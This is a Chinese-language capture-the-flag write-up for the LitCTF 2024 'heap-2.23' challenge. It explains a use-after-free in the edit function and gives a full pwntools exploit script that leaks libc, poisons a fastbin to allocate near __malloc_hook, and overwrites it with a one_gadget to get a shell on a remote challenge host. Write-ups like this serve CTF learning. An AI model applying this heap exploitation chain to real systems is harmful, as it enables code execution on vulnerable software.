[LitCTF2024]heap-2.23
Problem: [LitCTF 2024]heap-2.23
思路
edit功能存在一个UAF,通过该漏洞修改fd达到申请任意位置区块的目的,再利用edit功能修改对应区块地址的内容,达到利用目的。 我这里选择了劫持__molloc_hook
函数,需要注意的是,我们需要找到一个区块匹配所需要的结构体,详细可以调试看看mallo_hook-35
这个位置,再往后填充,将one_gadget
覆盖到__malloc_hook
的位置。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.terminal=["tmux",'splitw','-h']
context.log_level = 'debug'
#io = gdb.debug('./heap')
io = remote('node4.anna.nssctf.cn',28035)
elf = ELF('./heap')
lib = ELF('/root/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def create(idx,size):
io.sendlineafter(b'>>',str(1))
io.sendlineafter(b'?',str(idx))
io.sendlineafter(b'?',str(size))
def delete(idx):
io.sendlineafter(b'>>',str(2))
io.sendlineafter(b'?',str(idx))
def show(idx):
io.sendlineafter(b'>>',str(3))
io.sendlineafter(b'?',str(idx))
def edit(idx,content):
io.sendlineafter(b'>>',str(4))
io.sendlineafter(b'?',str(idx))
io.sendlineafter(b'content : \n',content)
create(0,400) #0
create(1,10) #1
delete(0)
show(0)
mallo_hook = u64(io.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))-0x68
print(hex(mallo_hook))
delete(1)
lib_base = mallo_hook-lib.sym['__malloc_hook']
one_gadget = lib_base+0xf1247
create(2,0x60)
create(3,0x60)
delete(2)
delete(3)
edit(2,p64(mallo_hook-35))
create(4,0x60)
create(5,0x60)
create(6,0x60)
edit(6,cyclic(19)+p64(one_gadget))
create(7,0x60)
io.interactive()
总结
一开始是想用fastbin
去做,后来看文章发现忽略了uaf
可以直接利用,再一个就是要注意申请malloc
附件的堆块时要符合结构规范
This post is licensed under CC BY 4.0 by the author.